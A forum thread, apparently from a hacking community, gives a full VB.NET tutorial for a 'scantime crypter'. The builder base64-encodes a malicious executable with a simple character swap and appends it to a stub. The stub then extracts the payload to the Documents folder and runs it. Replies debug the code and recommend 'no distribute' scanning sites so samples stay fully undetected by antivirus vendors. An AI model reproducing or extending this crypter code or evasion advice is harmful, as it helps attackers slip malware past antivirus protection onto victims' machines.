[xeinebiu]

Hi guys ...
I created this thread to learn something together about creating a ScanTime Crypter . Scantime crypters are not very helpful because they are Undetectable just in scanning time but if it start to run the virus it will be detected ...

1. Open Project
   


2. Add 2 Open File Dialogs
   


3. Add Button1 ( will use this button to open our file which we want to crypt )
   In this Button add this Code
   
   Code

   Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
      OpenFileDialog1.ShowDialog()
End Sub


4. Add Button2 ( will use this button to open the stub )
   
   Code

   Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
      OpenFileDialog2.ShowDialog()
End Sub


5. Add this function
   
   Code

   Public Function crp(file As String)
      Try
      Dim filesbytes As Byte() = IO.File.ReadAllBytes(file) ' Reads binary from file
      Dim base64x As String = Convert.ToBase64String(filesbytes) 'Bytes get converted to base64 string
      Dim modifiedbase64 As String = base64x.Replace("A", "$")

      Return modifiedbase64
      Catch ex As Exception

      End Try

    End Function


6. Add Button3
   The Button3 will be used to crypt our file
   
   Code

   Private Sub Button3_Click(sender As Object, e As EventArgs) Handles Button3.Click
      Try
      SaveFileDialog1.ShowDialog()
      IO.File.Copy(OpenFileDialog2.FileName, SaveFileDialog1.FileName)

      ' this will get the name and the extension of our file ( you can use any method you want for filename
      Dim filename As String = IO.Path.GetFileName(OpenFileDialog1.FileName)

      'This code will help us for splitting our code
      Dim sep As String = "#tutorial#" ' you can write your own text

      'the content we will write to the stb ...
      Dim content As String = sep & crp(OpenFileDialog1.FileName) & sep & filename

      'writtes our file into stb ...
      IO.File.AppendAllText(SaveFileDialog1.FileName, content)
      MsgBox("done")
      Catch ex As Exception

      End Try
    End Sub


7. Open New Project ( STUB )
   


8. In Form Load Event add this code
   
   Code

   Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
      Try
      'you can choose your desired location
      Dim LOL As String = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments)

      'will read all text of stub
      Dim bintext As String = IO.File.ReadAllText(Application.ExecutablePath)

      'will split the bintext
      Dim sep() As String = Split(bintext, "#tutorial#")

      'get the string we have written in stub
      Dim base6 As String = sep(1)

      'write the original bytes
      IO.File.WriteAllBytes(LOL & "\" & sep(2), Convert.FromBase64String(base6.Replace("$", "A")))

      'start process
      Process.Start(LOL & "\" & sep(2)) 'sep(2) is the filename

      'close after all these codes are executed
      Me.Close()
      Catch ex As Exception
      End Try
End Sub


9. Done
   

Stub Scan Results

https://www.virustotal.com/en/file/189ac...429396695/

Hope it will help someone ...

[Frеsh]

Looks nice dude

May try it out later

[xeinebiu]

Looks nice dude

May try it out later

Yeah bro i tried to make it as simple as i can ...
It Is HQ Post but mabye can help someone to get a little bit knowledge ...

[stunk]

I like it... But I get an error:

Code

Function 'crp' doesn't return a value on all code paths. A null reference exception could occur at run time when the result is used. C:\Users\-snip-\documents\visual studio 2013\Projects\WindowsApplication3\WindowsApplication3\Form1.vb 17 5 WindowsApplication3

[Anemone¹]

I like it... But I get an error:

Code

Function 'crp' doesn't return a value on all code paths. A null reference exception could occur at run time when the result is used. C:\Users\-snip-\documents\visual studio 2013\Projects\WindowsApplication3\WindowsApplication3\Form1.vb 17 5 WindowsApplication3

Not an error but a warning and its because in

Code

Try
Catch
end try

There is no error handling so if an error occurs while trying to replace the base64 text the function wont return a value

From the looks you dont really need the try catch i dont see it ever failing, but if you want to make sure it doesn't just grab the first Char of the base64 string and exchange that char with $ instead of specifically A

[Blue Eyes]

Not bad, but hey have spent on VirusTotal ...
He will not stay much time FUD
Next time used razorscanner or another that no distributed file

[Oliver Sykes]

Nice with the VT scan; will encourage them to refud themselves. Pretty self-explanatory, but eh.

[xeinebiu]

Not an error but a warning and its because in

Code

Try
Catch
end try

There is no error handling so if an error occurs while trying to replace the base64 text the function wont return a value

From the looks you dont really need the try catch i dont see it ever failing, but if you want to make sure it doesn't just grab the first Char of the base64 string and exchange that char with $ instead of specifically A

Right ... it is just a warning ...

---

Not bad, but hey have spent on VirusTotal ...
He will not stay much time FUD
Next time used razorscanner or another that no distributed file

What is the best site to scan it ? Like VT ?

[Anemone¹]

Right ... it is just a warning ...

---

What is the best site to scan it ? Like VT ?

He may have Strict compiling on which will throw errors even if they're warnings

Also the three best sites i know are:

http://www.refud.me/scan.php
http://nodistribute.com/
http://fuckingscan.me/

The only one that has a limit is no distribute which is 4 files daily others are limit-less